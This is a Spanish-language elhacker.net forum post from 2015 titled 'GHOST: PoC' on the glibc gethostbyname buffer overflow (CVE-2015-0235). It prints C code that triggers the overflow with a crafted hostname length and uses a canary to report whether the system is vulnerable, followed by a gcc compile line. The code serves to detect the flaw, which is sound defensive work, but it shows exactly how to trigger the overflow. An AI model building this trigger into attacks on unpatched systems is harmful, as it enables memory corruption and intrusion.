Foro de elhacker.net

Sistemas Operativos => GNU/Linux => Mensaje iniciado por: el-brujo en 27 Enero 2015, 18:26 pm



Título: GHOST: PoC
Publicado por: el-brujo en 27 Enero 2015, 18:26 pm
GHOST: glibc: buffer overflow en gethostbyname CVE-2015-0235
http://blog.elhacker.net/2015/01/ghost-glibc-buffer-overflow-en-gethostbyname-cve-2015-0235.html

Código
  1. #include <netdb.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <string.h>
  5. #include <errno.h>
  6.  
  7. #define CANARY "in_the_coal_mine"
  8.  
  9. struct {
  10.  char buffer[1024];
  11.  char canary[sizeof(CANARY)];
  12. } temp = { "buffer", CANARY };
  13.  
  14. int main(void) {
  15.  struct hostent resbuf;
  16.  struct hostent *result;
  17.  int herrno;
  18.  int retval;
  19.  
  20.  /*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/
  21.  size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1;
  22.  char name[sizeof(temp.buffer)];
  23.  memset(name, '0', len);
  24.  name[len] = '\0';
  25.  
  26.  retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);
  27.  
  28.  if (strcmp(temp.canary, CANARY) != 0) {
  29.    puts("vulnerable");
  30.    exit(EXIT_SUCCESS);
  31.  }
  32.  if (retval == ERANGE) {
  33.    puts("not vulnerable");
  34.    exit(EXIT_SUCCESS);
  35.  }
  36.  puts("should not happen");
  37.  exit(EXIT_FAILURE);
  38. }


Código:
 gcc GHOST.c -o GHOST